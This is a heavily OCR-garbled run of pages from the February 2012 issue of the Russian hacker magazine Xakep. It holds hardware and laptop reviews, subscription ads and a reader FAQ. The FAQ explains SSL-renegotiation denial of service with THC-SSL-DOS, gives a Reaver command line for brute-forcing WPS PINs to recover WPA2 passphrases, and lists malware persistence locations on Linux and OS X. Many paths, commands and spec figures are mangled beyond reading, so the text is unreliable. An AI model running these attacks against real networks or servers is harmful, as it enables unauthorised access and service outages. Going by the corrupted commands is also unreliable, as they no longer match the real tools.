теля, хотя у нас и было к ним много претензий .

1066-2250 М Гц 1066- 2400 МГц 1066- 1600 МГц

В оправдание производителей можно сказать, что

со временем, после пары-тройки перепрошивок

BIOS, всё устаканится. Нам же остается раздать награды. За великолепную производительность

1 х PCI Ехр ге55 х 1 6, 1 х PCI Ехрге55 х4, 2х PCI Ехрге55 х1, 3х PCI 7х 5АТА 3.0 7.1 СН НО Rea ltek ALC892 Realtek RTL811 1 Е , 10/100/1000 М бит/с

1х 0 - 5иЬ, 1 х Oi5playPort, 1 х OVI, 1х HOMI, 4х US8 3.0, 2х US8 2.0, 1 х е5АТА, 1 х FireWire, 1 х 5/POIF, 1х RJ-45, 1 х Р5/2, 6х audio АТХ

ХАКЕР 02/157/2012

1х PCI Ехрге55 х16, 1 х PCI Ехрге55 х4, 1 х PCI Ехрге55 х 1 , 1 х PCI 6х SATA 3.0 7.1 С Н НО Realtek ALC889 Realtek RTL8111 Е , 10/100/1000 Мбит/с

1 х 0-5и Ь, 1 х OVI, 1х HOMI, 2х US8 3.0, 4 х U58 2.0, 1х 5/POIF, 1х RJ-45, 1х Р5/2, 3х audio

mАТХ

1 х PCI Ехрге55 х 1 6, 1 х PCI Е хрге55 х4, 1 х PCI Е хр ге55 х1, 1 х PCI 6х 5АТА3.0 7.1 С Н НО RealtekALC 887 Realtek RTL8 111 E, 10/100/1000 Мбит/с

1 х 0-5иЬ, 1 х OVI, 1х HOМl, 2х U58 3.0, 4х U58 2.0, 1 х RJ-45, 1 х Р 512, 6х audio

mАТХ

и замечательный оверклокерский потенциал

приз «Выбор редакции» достается материнке

A5U5 F1A75-V PRO. Плата GIGABYTE GA-A75M-D2H при полном отсутствии конкурентов « загребает »

титул « Лучшая покупка » . Также хочется отметить

материнскую плату GIGABYTE GA-A75-UD4H за ее уникальные способности в области разгона про­

цессора и оперативной памяти . I

135

Page 138: Xakep 02_2012

FERRUM

Размер экрана: 17.3", 1920х1080 точек Процессор: Intel Саге i5-2410M, 2.4 ГГц Оперативная память: DDR3-1333, 6 Гб ВИАеоплата: АМО Radeon 6650М, 2 Гб Жесткий АИСК: 500 Гб Сетевые возможности: Gigabit LAN, Wi-Fi, Bluetooth 3.0 Дополиительно: 3D -очки Операционная система: Windows 7 х64 Габариты: 415.8х276.1х32 . 3х 37.9 мм Вес: 2.9 кг

WiпRАR: 2369 Кб/с Super Р; (16М): 330 с PCMark'05: 8788 баллов ЗDМагk Vantage: 4431 балла Rеsidепt Evil 5: 59 FPS Call 01 Juarez: 21.5 FPS Alien VS Predator: 13 FPS Неаvеп Dragon: 12 FPS Battery Eater: 67 минут

Сергей Никитин

SAMSUNG RF712-S01 УНИВЕРСАЛЬНЫЙ НОУТБУК ДЛЯ РАЗВЛЕЧЕНИЙ!

Сегодняшние ноутбуки практически ни в чем

не уступают своим настольным собратьям .

И это факт. Они собраны иэ мощных компо­

нентов, поэволяющих запускать новейшие

игровые хиты. Они практичны и удобны в ис­

пользовании. Кроме того в лэптоп подчас куда

легче внедрить какую-нибудь интересную тех­

нологию. Например, ноутбук Samsung RF712 может, помимо всего вышеперечисленного, по­

хвастаться еще и возможностью работы с ЗО!

МЕТОДИКА ТЕСТИРОВАНИЯ Для про верки того, на что способен этот мобильный компьютер, мы применили нашу

специально разработанную для таких случаев

методику. Она состоит из трех групп программ

-тех, которые вычисляют производитель­

насть связки процессор-память, синтети­

ческих бенчмарков и настоящих игровых

приложений. В первую группу вошли тест,

встроенный в архиватор WinRAR, и утилита Super Pi . Вторая представлена продуктами Futuremark: PCMark'05 и 3DMark Vantage . А в игровую группу вошли тесты Resident Evil 5, Call 01 Juarez, Alien Vs. Predator и Heaven. Они запускались с параметрами по умолчанию

136

и разрешением 1280хl024 точек. Время работы

от батареи проверялось с помощью утилиты

Battery Eater - режим «классический ».

ПЕРВОЕ ЗНАКОМСТВО Модель Samsung RF712 выглядит солидно и внушительно, но при этом не производит впе­

чатления скучного ноутбука. У него симпатич­

ный, современный дизайн . На наш взгляд очень

удачно выполнена подсветка клавиш. Допол­

няет общее позитивное впечатление большой

дисплей . О нем стоит рассказать особо, так как

производительпозиционируетегокак«самый

яркий ноутбучный дисплей в мире ». Кроме того ,

одев идущие в комплекте 3D-очки и, запустив

соответствующую игру или фильм , ты получишь

трехмерную картинку. Думаем, про актуаль­ность зо лишний раз напоминать не стоит.

Вообще же, Samsung RF712 оснащен практи­чески всеми новейшими технологиями. К услу­

гам пользователя будет доступен : Wi-FI стандар­та 801.11п, привод Blu-Ray, USB 3.0 и Bluetooth 3.0. Ну а про современное «железо» И говорить

нечего . Все тесты производительности Samsung RF712 завершил с весьма хорошими результата­ми, на нем можно как комфортно работать, так

и играть в любые современные игры . Спасибо

процессору Intel Саге i5-2410M и дискретной видеокарте АМD Radeon 6650М.

И ЕЩЕ НЕМНОГО Как и у других устройств от Samsung, у моде­ли RF712 есть много дополнительных фишек. Некоторые из ни х не только весьма интересны,

но и полезны. Например, возможность подза­

рядки различных мобильных USВ-устройств

от соответствующего порта компьютера, даже

если он выключен. Или вот функция ускорен­

ного выхода из спящего режима . Несомненно,

к приятным моментам относится и весьма

солидный набор программнога обеспечения,

который идет с Samsung RF712 в комплекте поставки .

.:111:1.1. Ноутбук Samsung RF712 получился очень интересным. Он под завязку набит новейши­

ми технологиями, современным «железом »

И прочими вкусностями. Да, пожалуй, перед

тобой действительно идеальный ноутбук для

развлечений . Осталось проверить, готов ли

попкорн в микроволновкеl:::J:

ХАКЕР 02/157/2012

Page 139: Xakep 02_2012

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 564 руб. 1 3 номеров - 1105 руб.

6 номеров - 630 руб. 1 3 номеров - 1140 руб.

6 номеров - 690 руб. 1 3 номеров - 1249 руб.

ЖEl\EЗО;

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 895 руб. 1 3 номеров - 1699 руб.

6 номеров - 775 руб. 1 3 номеров - 1399 руб.

(gameJland ПОДПИШИСЬ!

shop.glc.ru Редакционная подписка без посредников -это гарантия получения важного для Вас

журнала и экономия до 400/0 от розничной цены в киоске

8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

6 номеров - 81 О руб. 1 3 номеров - 1499 руб.

6 номеров - 1194 руб. 1 3 номеров - 2149 руб.

6 номеров - 950 руб. 1 3 номеров - 1699 руб.

6 номеров - 111 О руб. 1 3 номеров - 1999 руб.

6 номеров - 894 руб. 1 3 номеров - 1699 руб.

6 номеров - 81 О руб. 1 3 номеров - 1499 руб.

Page 140: Xakep 02_2012

UNITS I FAQ UNITED

FAQ United ЕСТЬ ВОПРОСЫ - ПРИСЫЛАЙ НА FAQri1REAL.XAKEP.RU

r.t ПОСЛЕДНЕЕ ВРЕМЯ ВСЕ ЧАЩЕ ~ ГОВОРЯТ О ПЕРЕХВАТЕ ДАННЫХ, КОТОРЫЕ ПЕРЕДАЮТСЯ НЕ ТОЛЬКО ПО 55L [КСТАТИ, СПАСИБО ВАМ ЗА КЛАССНЫЕ МАТЕРИАЛЫ В #11/11 НОМЕРЕ], НО И НА САМ 55L-ДЕМОН. ЕСТЬ ДАЖЕ УТИЛИТА THC-55L-D05 [WWW.THC. ОRG!ТНС-55 L-DО 5 ] ДЛЯ ВЫЗОВА ОТКАЗА В ОБСЛУЖИВАНИИ. В ЧЕМ СОЛЬ? ВЕДЬ

ТНС ФИГНЮ НЕ РЕЛИЗИТ!

8:tI Идея вызвать DDoS SSL-Аемона довольно W проста. Суди сам: установка защищенно­го SSL-соединения требует на сервере в 15 раз больше ресурсов, чем на клиенте. Соответ­

ственно, THC-SSL-DOS [www.thc.org/thc-ssl-dos] использует зту пропорцию, чтобы вызвать отказ

в обслуживании. На деле используется всего

один ТСР-пакет, чтобы начать процесс SSL hапdshаkеs с сервером. Та версия утилиты, которая доступна в паблике, может вызвать

DDoS тех сервисов, которые поддерживают установку соединения со стороны клиента

[сliепt-iпitiаtеd renegotiations!. Выяснить зто можно с помощью другой утилиты sslyze [code. google .com/p/sslyze]:

Если в графе напротив client-ini tiated renegotiations будет значение Honored, значит, сервис уязвим. По сло вам разработчиков,

сегодня проблема затрагивает все реализа­

ции SSL [хотя известно о ней еще с 2003 года!.

Если это так, то уязвимы и те сервисы, которые

поддержи ваюттак называемую процедуру

Secure Renegotiation, однако, в паблике зкс­плоита нет. Утилита sslyze выполняет та кже несколько других про верок уровня безопас­

ностиSSL : позволяет выявить использование

слабых шифров, определяет версию протокола ·

[SSLv2, SSLv3 и TLSv1! и про водит валидацию сертификата.

r,. ЧИТАЛ ГДЕ-ТО, ЧТО ВИНЧЕСТЕРЫ ... ДЛЯ СЕРВЕРОВ ДЕЛАЮТСЯ БОЛЕЕ НАДЕЖНЫМИ [СНИЖЕННАЯ СКОРОСТЬ ВРАЩЕНИЯ ДИСКОВ, БОЛЕЕ СТРОГАЯ

ПРОВЕРКА НА ВСЕХ ЭТАПАХ

ПРОИЗВОДСТВА И Т. Д . ! . ВОПРОС : А ЕСТЬ ЛИ В ПРОДАЖЕ ВНЕШНИЕ НАКОПИТЕЛИ

НА 2,5-ДЮЙМОВЫХ ВИНЧЕСТЕРАХ [ПРЕДНАЗНАЧЕННЫХ ДЛЯ СЕРВЕРОВ] ИЛИ ЖЕ В СЕРВЕРАХ ИСПОЛЬЗУЮТСЯ

ТОЛЬКО 3,5-ДЮЙМОВЫЕ ЖЕСТКИЕ ДИСКИ?

... Среди жестких дисков формфактора

181 2,5", в отличие от 3,5 -дюймовых жестки х дисков, производители не выделяют модели

повышенной надёжности . Серверные диски

формфактора 2,5" существуют, как и корзины под них, но все они относятся к типу SAS [Serial Attached SCSI] и немного толще обычных. Получить 2,5-дюймовый серверный SАТА-диск

можно, взяв НDD семейства Western Digital VelociRaptor, который представляет собой 3,5-дюймовый радиатор с прикреплённым

Степан Ильин Itwtitter.com/stepah!

к нему 2,5-дюймовым диском, и отсоединить

сам диск . При этом могут возникнуть пробле­

мы с перегревом . И хотя практический опыт

показывает, что отдельные экземпляры могут

продолжительное время нормально работать

без радиаторов, помни, что ты делаешь это

на свой страх и риск и дополнительное

охлаждение всё-таки желательно. К слову,

о диска х повышенной надёжности . Специали­

сты по восстановлению данных не зафиксиро­

вали более -менее заметной повышенной

надёжности у 3,5-дюймовых дисков, которые

позиционируются производителями как диски

повышенной надёжности.

r,. ВЫ УЖЕ ДОВОЛЬНО MHqrO ПИСАЛИ ... ПРОЗЛОВРЕД,КОТОРЫИ ПРОПИСЫВАЕТ СЕБЯ В WINDOW5-СИСТЕМЫ . В БОЛЬШИНСТВЕ СЛУЧАЕВ Я

ПРЕДСТАВЛЯЮ, ГДЕ ИСКАТЬ СЛЕДЫ

МАЛВАРИ . НО ВОТ ГДЕ МОЖЕТ

ПРОПИСАТЬ СЕБЯ ВИРУС В СИСТЕМАХ

LINUX И 05 Х, ЧТОБЫ ОСТАТЬСЯ В СИСТЕМЕ ПОСЛЕ ПЕРЕЗАГРУЗКИ?

8:tI В UNI Х-системах его нужно искать W в следующих папках:

L)!.<!rj;~JI.1;i!J!~j5.\J. s_e.r.!1"me..~ .. _ .. _ ....................... _ .......... . 1.e.:t;:.IJ1;:t;:y~ ............................................................................. . 1..е.:t;: .с.!.рсQfйе. ................................. _ .................................... . Le.J~i.b.<J_~.b.c_c ......................................................................... . i.e.th/.cs_b..,_c_s.b.c.c .......................... _ .................................... . Le.Js;js;.~!J.J.Qgi.n .................................................. _ ............ .

5 ШАГОВ: ИСПОЛЬЗУЕМ DROPBOX КАК БЕСПЛАТНЫЙ ХОСТИНГ

rn овольная бредовая идея - использо­

J вать DгорЬох для хостинга - работа­ет и набирает популярность. А что?

Никакой мороки с регистрацией, никакого

геморроя с редактированием файлов

и отправ кой их на сервер [все делается внутри папки DгорЬох! , у сервиса практически гарантированный аптайм 99,9 % [спасибо Amazon S3!- короче говоря, почему бы и нет?

138

1 Проще всего, конечно, со статическим

саЙтом. Ты просто бе решь все файлы

проекта [НТМ L, CSS, Java Script­сценарии! и забрасываешь их в директорию PubIic, после чего получаешь через ко нте кст­

ное меню рuЫi с-ли нк для домашней страницы

[скажем, index. html! вроде этого: http:Udl.dropbox .com/u/21 3 1 O/site/index.h tm l.

2 Казалось бы, если c~eДOBaTb логике,

топриоткрытииэтоиссылкипол~

зователю будет предложено скачать index.html. Н о нет. DгорЬох устроен так, что

будет отдавать тако й контент, как и любой дру­

гой хостинг. Страница откроется! Некрасивую

ссыяку можно сократить с помощью сервиса

типа bi t. ly и ему подобны х.

ХАКЕР 02/157/2012

Page 141: Xakep 02_2012

/e.t~/r._<;_, _<;.Qmro9д _____________________________________________________________ _

~J.,pr-QfiJ-e-------------------------------------------______________________________ _ ~/,J~_<!~_hr._<; ______________________________________________________________________ _

В OS Х он может скрываться здесь :

L$у~:t;_еПJ/цJ).r.i!.ry/!. .• Н!JJ~_hQ_Q_еmQ.r1~ ______________ _ L5y ~J;еl1!/1,,1Qr:_<!r.у.L_Е_х.tел~JQЛ~ ...... _____ . ___________ .. _ .. _._ .. L. !.JQ.r::<!r.удi!J,ю<;Ь_I;!i!е_ПJ.Q!1~ ____________________ . _____________________ _ /..$уs_:t; _~ro/..I.,JRr_i!rу.L.!.i!_у!1<;ы\gшts ______________________________ _ L.!.JR_r.i!гу/!.-9. ул~.t1~gеJJ-:t;-~ .. -.-.------.----------------_______________ _ L.!.1Qr._<!r.у{$:t;_"r.tYl;й.tеm~ ___ . _____________________________________ _ /..ц];>_г.i!.г.уjР.rе.fегел!;_~~л.9gJоwj,лQj~w_, _рJt.~,:t; ____ _ _ ~/..ц_Qr_Q.г.уд_<!ущ_hAgел:t;_~ ___ .. ____ ..... _____ .. __ .. _________ .... __ . ___ _ ~j!,JR.ri!.r::y/P.r.e.f,g.r::eJJ_~_e.n.QgiJJJ:t_~!!1.~ _.plj,~,:t; ______ . ~/I.,JRr._"rуLР.г..~f_~г..~rКе/),.9.giлwj,JJ.QQ_w_~_,_ рJj,-!;:t;----

Но зто, скорее, касается зловреда, который

работает в user mode. Изящно написанная малварь может сделать бэкдор прямо в ядре

системы:

L5у~tе!11дiRr"r:У/..с."фе-~jц)m~<!ррJ~_.Jеше1<;_9c;hе_s_ /.$у~.tе!11L_~JQr.i!rуI!'1!.е~у-~,:t;E!ПJ~LАР.р1~$hjJг_еJ. _____ . ___ _ /$y~:t;e!11Jb;lI;>.r<!r.y /ЕЦе_~У.~:t;em~LЬf~,_f.~До!;QQj,оgsj

А еще более искусно созданные образцы

задействуют расширения ЕFllактуально для современных Мас'ов, построенных на платфор­

ме Intel).

r.t СДЕЛАЛ АПГРЕЙД И ПРИОБРЕЛ .:.. СЕБЕ SSD ДЛЯ СИСТЕМНОГО ДИСКА. ЗАНОВО СИСТЕМУ СТАВИТЬ НЕ ХОЧУ,

ПОЭТОМУ СОБИРАЮСЬ СДЕЛАТЬ КЛОН.

СЛЫШАЛ, ЧТО ЕСЛИ СТАВИТЬ WINDOWS 7 НА SSD, ТО УСТАНОВЩИК САМ ПОПРАВИТ КАКИЕ-ТО ПАРАМЕТРЫ . ПОДОЗРЕВАЮ,

ЧТО В СЛУЧАЕ КЛОНИРОВАНИЯ ЭТОГО

НЕ ПРОИЗОЙДЕТ. ТАК ЧТО ЖЕ НАДО СДЕЛАТЬ, ЧТОБЫ SSD НЕ УМЕР УЖЕ ЧЕРЕЗ ГОД?

... Чтобы минимизировать износ диска,

181 производители советуют снизить количество операций записи. Windows 7 довольно умна в этом плане и сама умеет

отключать механизмы, которые часто

производят запись Iнапример, Superfetch или Application launch prefetching) . Как ОС отреагирует после клонирования, сложно

3 Увы, динамические сценарии на таком

хостинге выполнить не получится,

а вот при крутить CMS можно благо­даря сервису droppages.com. Скачиваем с последнего тему для сайта Iнапример, demo. droppages.com.zip), после чего распаковываем архив в папку вроде your_site.droppages.com. Очень скоро здесь будет саЙт.

ХАКЕР 02 / 157/ 2012

БОЛЬШОЙ ВОПРОС

Q СУЩЕСТВУЮТ ЛИ БОЛЕЕ эф­

ФЕКТИВНЫЕ СП_ОСОБЫ ВЗЛОМА

БЕСПРОВОДНОИ WI-FI-СЕТИ,

ЗАЩИЩЕННОЙ WPA!WPA2? МЫ ЖЕ ВСЕ ПОНИМАЕМ, ЧТО ПРИ ДОСТАТОЧНОЙ СЛОЖНОСТИ И ДЛИНЕ ПАРОЛЬНОЙ ФРАЗЫ ПЕРЕБОР МОЖЕТ ДЛИТЬСЯ

ВЕЧНО.

А До недавнего времени я бы ска­

зал , что никаких других СПОС~БОВ

подключиться к защищеннои

беспроводной сети, кроме как использо­

вать брутфорс, не существует. Собственно,

способы взлома непосредственно WPA! WPA2 остались неизменными, однако

получить доступ к защищенной беспро­

водной сети можно, воспользовавшись

обходным путем, но только в том случае,

если в ней применяется очень популяр­

ная сегодня технология WPS. Напомню, что Wi-Fi Protected Setup - это стандарт,

который позволяет легко установить дома

защищенную беспроводную сеть на базе

WPA2. Идея в том , что пользователю

не нужно заморачиваться с настройкой

защиты и вводом длинных парольных

фраз, когда он добавляет в беспроводную

сеть новое устройство, - весь процесс

максимально упрощается. Используются

восьмизначные PIN-КОАbI. До недавне-

го времени эта технология считалась

безопасной, но в декабре сразу несколько

исследователей безопасности рассказали

о неустранимых промахах в ее стру ктуре

Encryptlon Туре: 13131313 ее 138

Network Кеу :

FAQ UNITED

'то есть фактически в устройстве), которые можно эксплуатировать. Протокол WPS оказался уязвимым к брутфорс-атакам ,

которые позволяет злоумышленнику по­

добрать WPS PIN, используемый точкой доступа,И,соответствеННО,парольную

фразу WPA/WPA2, причем, что очень важ­но, всего за нескольких часов! Уязвимость

«живет» на самом низком уровне, в самом

протоколе . Это промах его разработчиков.

В паблике доступна утилита Reaver 1Q.iL ly/uAaS67), которая уже работает вполне стабильно и протестирована для большин­

ства точек доступа и реализаций прото­

кола WPS. Использовать ее очень просто: нужно лишь указать целевую BBSID 'ее МАС-адрес) и интерфейс Iкоторый пред­

варительно нужно перевести в режим

монитора), который будет слушать эфир:

rе_"У.еr .. __ :j, __ .ro9л~_._.:_Q .jЩ; el_; _~;2_ ;_~} _:.04_;_ !'j_5_

Помимо этого, автор предлагает коммер­

ческую версию с несколькими полезны­

ми фичами и улучшениями, касающимися

скорости подбора . Атаковать можно

практически любой современный роутер ,

в котором WPS включена по умолча-нию, - это миллионы девайсов по всему

миру! Более подробнее об атаке ты

можешь прочитать в этом AOKYMeHTe: .biL ly/uAaS67. Помимо геауег, есть еще один

РоС Ibit.ly/u3mTXF), реализующий атаку, но эта утилита пока работает не со всеми

Wi-Fi-адаптерами .

13131313 72 65 61 6С 6С 79 5F 72 65 61 6С 6С 79 5F 6С 6F really_really_lo ng_wpa_passphras e_good_luck_crac king_this_one

1313113 6Е 67 5F 77 713 61 5F 70 61 73 73 70 68 72 61 73

013213 65 5F 67 6F 6F 64 5F 6С 75 63 68 5F 63 72 61 63 01330 68 69 6Е 67 5F 74 68 69 73 5F 6F 6Е 65

Кеу \~rap Algori thm:

Для подключения к сети WPS используется восьмизначный PIN. Сначала брутфорсится его первая часть, потом вторая, и в конце концов извлекается парольная фраза WPA2!

В Структура состоит из трех папок :

Content 'контент сайта в текстовом виде), PubIic !статический контент)

и Templates IНТМL-файлы, используемые для оформления страницы). Ты можешь настроить шаблоны под себя и разметить текст 'В папке Content! с помощью специальной разметки и ключевых слов .

5 Далее используем стандартную воз­

можность для расшаривания папок

и предоставляем доступ serverl ГCJ droppages.com. После этого сервис сможет обрабатывать твои файлы с контентом и ша­

блонами и отдавать сформированные HTML­страницы�. За небольшую денежку можно даже при вязать сайт к домену.

139

Page 142: Xakep 02_2012

UNITS I FAQ UNITED

сказать, поэтому рекомендую проверить

значения параметров EnabIeSuperfetch и EnabIePrefetcher в ветке

Н КЕУ _LOCAL_MACH 1 N E\SYSTEM\ CurrentControISet\Control\Session М anager\ Метогу Management\PrefetchParameters. Не­которые также рекомендуют отключить очист­

ку swар-фаЙла. Делается это в разделе НКЕУ_

LO СА L_ М АС Н 1 N E\SYS ТЕ М\С u гге ntCo п! го IS et\ Control\Memory Management\: нужно задать ключу ClearPageFileAtShutdown значение О. Помимо этого, нужно убедиться, что работает

команда TRIM, позволяющая операционной си­стеме уведомлять твердотельный накопитель

о том, какие блоки данных больше не исполь­

зуются и могут быть очищены накопителем са­

мостоятельно. Выяснить это можно с помощью

команды:

fsutil behavior query DisableDeleteNotify

Если в выводе значение DisabIeDeleteNotify, значит, TRIM включен. Но только на уровне ос. Поэтому надо убедиться, что TRIM под­держивается драйвером Iчаще всего RAID­контроллера или стандартного MSAHCI] .

r.I МОЖНО ЛИ С ПОМОЩЬЮ PYТHON­~ СКРИПТОВ АВТОМАТИЗИРОВАТЬ ПОСЛЕДОВАТЕЛЬНОСТЬ ДЕЙСТВИЙ В WINDОWS-СИСТЕМЕ?

.". Готовых решений для Python'a не так уж W и много. Среди полезных библиотек можно выделить pywinauto !code.google.com/p/ pywinauto], которая специально предназначе­на для GUI-автоматизации . Сценарии

получаются очень наглядными и не требуют

комментариев :

from pywinauto import application арр = application,Applicationo

start( "notepadoexe" ) appoNotepadoMenuSelect(

"Help->About Notepad" ) appoAboutNotepadoDKoClick() appoNotepadoEditoTypeKeys (

"pywinauto Works!" , with_spaces=True)

Подробный мануал есть на офсайте

Ipywinauto.goog lecode.com/hg/pywinauto/docs/ index.html ]. Установить библиотеку тоже не со­ставит труда:

1. Распаковать архив .

2. Запустить python.exe setup.py install. 3. Установить PIL Iwww.pythonware .com/

р rod ucts/p i I/i n dex. h tm]. 4. Установить elementtree leffbot.org/

downloads].

* Session Renegotiation :

r,I ВО ВРЕМЯ ПРЕЗЕНТАЦИЙ ЧАСТО ... ВИДЕЛ,КАКДОКЛАДЧИК НАЖИМАЕТ КАКОЙ-ТО ХОТКЕЙ И УВЕЛИЧИВАЕТ ОПРЕДЕЛЕННУЮ ЧАСТЬ

ЭКРАНА,ЧТОБЫПРОДЕМОНСТРИРОВАТЬ

ЧТО-ТО В ДЕТАЛЯХ . КАК ЭТО ДЕЛАЕТСЯ?

... Проще всего использовать утилиту

181 Zoomlt Ibit .ly/uULrOd] от Марка Руссино­вича . Она тихо сидит в трее и как раз по хоткею увеличивает выбранную часть экрана. Помимо

этого, на увеличенном изображении можно

сразу что-то нарисовать .

r,I КАК МОЖНО НАСТРОИТЬ ФАЙЕРВОЛ ... В LINUX, ЧТОБЫ ПРЕДОТВРАТИТЬ БРУТФОРС-АТАКИ НА SSH?

... Никогда бы не подумал, что столько

181 людей пытаются сбрутфорсить пароль для SSH-Аемона никому не нужного сервера,

пока не посмотрел в его логи. Несколько тысяч

неудачных попыток входа каждый день­

вполне традиционная картина . Большинство

таких попыток можно отсечь, просто перенеся

демон на какой-нибудь нестандартный порт

!СО стандартного 22]. Другой вариант - пра­вильно настроить iptabIes. Опытные линуксои­ды рекомендуют следующий рецепт:

iptables -Р INPUT DRDP iptables -д INPUT -т state \

--state ESTABLISHED,RELATED -j дССЕРТ iptables -д INPUT -р tcp -т tcp \

--dport 22 -т state --state NEW \ -т recent --set --пате SSH

iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW \ -т recent --update --seconds 60 \ --hitcount 4 --rttl --пате SSH -j DROP

iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW -j дССЕРТ

После этого хосты, пытающиеся перебирать

пароль, будут блокироваться: все IP из черного списка будут фиксироваться в файле /proc/net/ ipt_recent/SSH.

r,I С НЕДАВНЕГО ВРЕМЕНИ IK СЛОВУ, ... ПОСЛЕ ПРОЧТЕНИЯ СТАТЬИ «GIT&&GITHUB: С МЕСТА В КАРЬЕР» ] НАЧАЛ ИСПОЛЬЗОВАТЬ СИСТЕМУ

УПРАВЛЕНИЯ ВЕРСИЯМИ GIT. НО МЕНЯ УБИВАЕТ, ЧТО ДЛЯ РЕДАКТИРОВАНИЯ

СООБЩЕНИЙ ДЛЯ COMMITOB ДАЖЕ ПОД WINDOWS НЕОБХОДИМО ИСПОЛЬЗОВАТЬ НИКСОВЫЙ VIM. КАК БЫ ВМЕСТО НЕГО ИСПОЛЬЗОВАТЬ ЧТО-НИБУДЬ БОЛЕЕ

ПРИВЫЧНОЕ?

Client-initiated Renegotiations: Honored Secure Renegotiation: Hot Supported

Уязвимый к DDoS SSL-Аемон

ТО SK up iI network, ty~ the S-digit PIN rrom the router I~bel

you ...... &ocItht-": ...... IIЬ8IМlaINodlolhe 1'OI/kf'00;",u.pmtcd~tjonth&t_ffamtht _.

Для подключения к WРА2-сети с помощью WPS достаточно ввести восьмизначный PINo И его можно сбрутфорсить!

... Советую тебе скачать GitPad I~ 181 github.com/githubIgitpad]. Это небольшое приложение, которое конфигурирует систему

так, чтобы в качестве стандартного редактора использовался самый обычный « Блокнот».

Можно подключить, скажем, Notepad++. Для этого внесем изменения в конфиг Git'a:

git config --global coreoeditor \ о .. С : \\Program F iles (х86) \\Notepad++ \\ notepad++oexe' -multiIпst -notabbar -nosession -поРlugiп''

r.I НУЖНО СГРАББИТЬ ДАННЫЕ ~ СНЕКОТОРОГО САЙТА, КОТОРЫЕ ОН ВЫДАЕТ В РЕЗУЛЬТАТЕ ПОИСКА ПОСЛЕ

ВВОДА НЕКОТОРЫХ ПАРАМЕТРОВ . МОЖНО

ЛИ ОБОЙТИСЬ БЕЗ ПРОГРАММИРОВАНИЯ?

... Самый крутой способ, который меня

181 не раз выручал - это воспользоваться сервисом open.dapper.net от Yahoo. Подход удивляет своей простотой :

10 Ты указываешь сервису URL-сайта, с которо­

го хочешь извлечь информацию. Оаррег. пе!

открывает его внутри своего собственного

движка и приступает к анализу.

20 Далее ты осуществляешь нужные переходы по сайту и, главное, отмечаешые поля, кото­

рые необходимо заполнить . Каждому из них

можно задать имя, скажем, «variabIe 1»­когда будешь запускать скрипт, ты сможешь

указать~гозначения.

Зо В конце концов, когда появляются элементы

сайта с нужными данными, ты обознача­

ешь структуру. Если, скажем, это выборка

фильмов, то кликаешь на название фильма

и в поле вписываешь « Название фильма » ,

далее кликаешь на рейтинг и добавляешь

новый элемент«Рейтинг» в структуру и т. д.

40 Последний штрих-это экспорт данных.

Можнооформитьизвлеченныеданные

в виде RSS и подписаться на них внутри своего RSS-ридера Iтаким образом, зто идеальный способ превратитьлюбой сайт

в RSS-ленту], а можно, скажем, просто

экспортировать все в XML и использовать сграбленные данные в своих проектах.

Увы, некоторые сайты банят робота dapper. пе! 'и автоматизировать их так просто уже не удается.:Х:

ХАКЕР 02/157/201 2

Page 143: Xakep 02_2012

Подписка 1. Разборчиво заполни подписной купон и кви­танцию, вырезав их из журнала, сделав ксе­

рокопию или распечатав с сайта shop.glc. ru. 2. Оплати подписку через любой банк. 3. Вышли в редакцию копию подписных доку­

ментов - купона и квитанции - любым из

нижеперечисленных способов:

• на e-mail: subscribe0glc.ru; • по факсу: (495] 545-09-06; • почтой по адресу: 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 эт., офис NQ 21, 000 «Гейм Лэнд», отдел подписки.

ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ ОПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУ МОЖНО ОФОРМИТЬ С НОЯБРЯ.

ЕДИ НАЯ ЦЕНА ПО ВСЕЙ РОССИИ . ДОСТАВКА ЗА СЧЕТ ИЗДАТЕЛЯ, В ТОМ ЧИСЛЕ КУРЬЕРОМ

ПО МОСКВЕ В ПРЕДЕЛАХ МКАД

ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ

НА ЖУРНАЛ -ХАКЕР.

D на 6 месяцев

D на 12 месяцев начиная с ________ 201 г.

D Доставлять ~рнал по почте на домашнии адрес

Доставлять журнал курьером:

D на адрес офиса *

D на домашний адрес**

(отметь квадрат выбранного варианта подписки )

Ф . И .О.

АДРЕС ДОСТАВКИ:

индекс

облаcnJкрай

ГОРОд

улица

дом корпус

квартира/ОФис

телedюн (

e-mail

сумма оплаты

* 8 сеободном поле ухажи название фирмы и дpyryю необходимую информацию

.. 8 свободном поле укажи другую необходимуlO информацию и альтернативный вариант доставки 8 случае отсутствия дома

I свободное поле

Извещение

Кассир

Квитанция

Кассир

ГОДОВАЯ ЭКОНОМИЯ

500 руб.

12 НОМЕРОВ 6 НОМЕРОВ

2200 РУБ. 1260 РУБ.

УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!

ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ

ЖЕЛЕЗО + ХАКЕР + 2 DVD: -ОДИН НОМЕР ВСЕГО ЗА 162 РУБЛЯ (НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ]

ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА) ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ)

ЕСТЬ ВОПРОСЫ? Пиши на inf00g lc.ru или звони по бесплатным телефо­нам 8[495)663-82-77 [для москвичей) и 8 [800) 200-3-999 [для жителей других регионов России, абонентов сетей мтс, БиЛайн и Мегафон) .

ИНН 7729410015 000 "Гейм Лэнд»

ОДА «Нордеа Банк», г. Москва

р/с N. 40702810509000132297

кJc N. 301 01 В1 0900000000990

БИК 044583990 КПП 770401001

Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала «. _______ .»

С 2012 г.

Ф .И .О .

Подпись плательщика

ИНН 7729410015 000 " Гейм Лэнд»

ОДА « Нордеа Банк», г. Москва

р/с N. 40702810509000132297

кJc N. 30101810900000000990

БИК 044583990 КПП 770401001
